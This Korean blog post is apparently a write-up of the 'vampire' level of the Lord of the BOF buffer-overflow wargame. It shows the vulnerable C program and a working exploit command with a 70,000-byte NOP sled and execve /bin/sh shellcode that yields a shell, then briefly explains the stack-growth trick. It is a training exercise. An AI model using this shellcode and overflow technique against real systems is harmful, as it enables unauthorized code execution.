반응형

흐아아앗!

흐콰한다!!

[troll@localhost troll]$ cat vampire.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - vampire

        - check 0xbfff

*/


#include <stdio.h>

#include <stdlib.h>


main(int argc, char *argv[])

{

char buffer[40];


if(argc < 2){

printf("argv error\n");

exit(0);

}


if(argv[1][47] != '\xbf')

{

printf("stack is still your friend.\n");

exit(0);

}


        // here is changed!

        if(argv[1][46] == '\xff')            //페이로드의 47번째, 즉 ret부분의 주소가 \xbfff~~                                                                  형식이 아니어야 합니다

        {

                printf("but it's not forever\n");

                exit(0);

        }


strcpy(buffer, argv[1]); 

printf("%s\n", buffer);

}

[troll@localhost troll]$ ./vampire `perl -e 'print "\xbf"x44, "\xff\xff\xfe\xbf", "\x90"x70000, "\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`

옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜옜???????????????????????????????????????????????????????????????????????????????????????????????????????????

(...생략)

????????????????????????????????j

                                     X?Rh//shh/bin??S?訴€

bash$ my-pass

euid = 509


처음봤을땐 '어미친 이거 뭔소리야' 이랬는데

스택은 메모리가 큰주소에서 작은주소로 자라잖아여!! 그래서 늘리는거야!! 쭉쭉!!!!

처음에는 0xbfffffff를 기준으로 nop를 넣거나 코어로 esp의 주소를 보고 그 기준으로 0xbffeffff까지의 거리를 재려고 했으나 그냥 대충 0xbfffffff 에서 0xbffeffff까지의 거리를 계산해서 nop를 마구 넣었더랬죠! (7만개 으캬캬컄)

그러니까 스택을 미친듯이 크게 늘려서!! 주소가 \xbffe~~가 될때까지!! 그리고 nopsled를 타고 쮹!!!!

진짜 되네요ㅋㅋㄷㄷ

반응형

'STUDY > Lord of the BOF' 카테고리의 다른 글

skeleton->golem  (5) 2014.03.17
vampire->skeleton  (2) 2014.02.25
orge->troll  (0) 2013.12.21
darkelf->orge  (0) 2013.11.22
wolfman->darkelf  (0) 2013.11.21

+ Recent posts